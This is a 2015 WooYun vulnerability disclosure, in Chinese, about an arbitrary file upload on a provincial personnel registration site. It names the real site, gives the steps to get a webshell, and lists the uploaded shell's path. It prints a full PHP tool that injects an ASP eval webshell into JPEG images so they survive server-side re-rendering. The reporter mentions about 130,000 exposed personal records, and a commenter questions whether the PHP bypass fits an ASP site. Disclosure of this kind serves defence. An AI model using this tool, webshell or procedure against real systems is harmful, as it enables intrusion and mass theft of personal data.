当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0104620

漏洞标题:某省级人事站前台用户任意文件上传导致getshell,影响严重

相关厂商:广东省信息安全测评中心

漏洞作者: 路人甲

提交时间:2015-03-31 14:48

修复时间:2015-05-15 15:44

公开时间:2015-05-15 15:44

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(广东省信息安全测评中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-31: 细节已通知厂商并且等待厂商处理中
2015-03-31: 厂商已经确认,细节仅向厂商公开
2015-04-10: 细节向核心白帽子及相关领域专家公开
2015-04-20: 细节向普通白帽子公开
2015-04-30: 细节向实习白帽子公开
2015-05-15: 细节向公众公开

简要描述:

现在貌似正在报名呢。数据挺值钱的吧!!!!

详细说明:

http://zjy.gdcost.com/
首先注册一个普通报名的账号、。然后再头像上传处上传。但采用了二次渲染 ,用老外的方法直接绕过即可
首先上传一个普通图片http://zjy.gdcost.com/uploadImg_slt/2015-03/bbed6195-ad6f-4b21-b406-3145a6f1c5a2.jpg。然后把图片下载下来,用老外的jpgshell进行处理。然后再burp改包上传即可getshell
shell地址:http://zjy.gdcost.com/uploadImg_slt/2015-03/037fdb58-0af8-4cb9-8479-d0499c80a687.asp

1.png


漏洞证明:

不要以为二次渲染就绝对安全了,现在已经可以完美绕过了

<?php 
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations
caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed
image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
php jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another
initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = '<%eval request ("1")%>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>


数据包含手机号邮箱地址身份证号等等。。完全符合黑产要求
13万人事数据

3.png


菜刀返回数据都超时了。。

2.png

修复方案:

严格过滤
我只是查了一下 说明严重性。没有保存数据 没有脱裤。不要查水表。
还有友情提示一下。我之所以看到这个站是因为有前人发现了任意上传,但是还不会突破渲染,至于是做什么的,是不是黑产,我就不清楚了。快修复吧

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-03-31 15:42

厂商回复:

非常感谢您的报告。
报告中的问题已确认并复现.
影响的数据:高
攻击成本:低
造成影响:高
综合评级为:高,rank:15
正在联系相关网站管理单位处置。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-04-21 01:01 | Ztz ( 普通白帽子 | Rank:152 漏洞数:40 | 自由职业)

    洞主我有点没看明白啊。你给的POC是用来绕过PHP的imagecopyresized() 和 imagecopyresampled()函数的。但是人家用的是ASP。怎么绕过二次渲染?

  2. 2015-04-21 06:15 | 好基友一辈子 ( 普通白帽子 | Rank:138 漏洞数:37 )

    可以绕过的,aspx也一样

  3. 2015-04-21 10:37 | kydhzy ( 普通白帽子 | Rank:362 漏洞数:62 | 软件测试)

    求普及,,,,